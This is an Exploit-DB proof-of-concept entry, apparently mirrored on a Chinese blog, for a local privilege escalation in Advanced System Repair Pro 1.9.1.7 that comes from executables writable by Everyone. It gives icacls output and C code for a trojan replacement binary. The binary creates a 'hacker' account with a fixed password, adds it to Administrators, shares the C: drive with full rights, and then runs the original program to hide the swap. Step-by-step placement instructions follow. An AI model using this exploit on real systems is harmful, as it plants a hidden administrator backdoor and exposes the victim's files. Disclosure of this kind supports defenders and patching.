Advanced System Repair Pro 1.9.1.7 – Insecure File Permissions - 体验盒子

作者： ZwX

日期： 2020-01-13

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/47905/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

# Exploit Title: Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions

# Exploit Author: ZwX

# Exploit Date: 2020-01-12

# Vendor Homepage : https://advancedsystemrepair.com/

# Software Link: http://advancedsystemrepair.com/ASRProInstaller.exe

# Tested on OS: Windows 10

# Proof of Concept (PoC):

==========================

C:\Program Files\Advanced System Repair Pro 1.9.1.7.0>icacls *.exe

AdvancedSystemRepairPro.exe Everyone:(F)

AUTORITE NT\Système:(I)(F)

BUILTIN\Administrateurs:(I)(F)

BUILTIN\Utilisateurs:(I)(RX)

dsutil.exe Everyone:(F)

AUTORITE NT\Système:(I)(F)

BUILTIN\Administrateurs:(I)(F)

BUILTIN\Utilisateurs:(I)(RX)

tscmon.exe Everyone:(F)

AUTORITE NT\Système:(I)(F)

BUILTIN\Administrateurs:(I)(F)

BUILTIN\Utilisateurs:(I)(RX)

#Exploit code(s):

=================

1) Compile below 'C' code name it as "AdvancedSystemRepairPro.exe"

#include<windows.h>

int main(void){

system("net user hacker abc123 /add");

system("net localgroup Administrators hacker/add");

system("net share SHARE_NAME=c:\ /grant:hacker,full");

WinExec("C:\\Program Files\\Advanced System Repair Pro 1.9.1.7.0\\~AdvancedSystemRepairPro.exe",0);

return 0;

}

2) Rename original "AdvancedSystemRepairPro.exe" to "~AdvancedSystemRepairPro.exe"

3) Place our malicious "AdvancedSystemRepairPro.exe" in the Advanced System Repair Pro 1.9.1.7.0 directory

4) Disconnect and wait for a more privileged user to connect and use AdvancedSystemRepairPro IDE.

Privilege Successful Escalation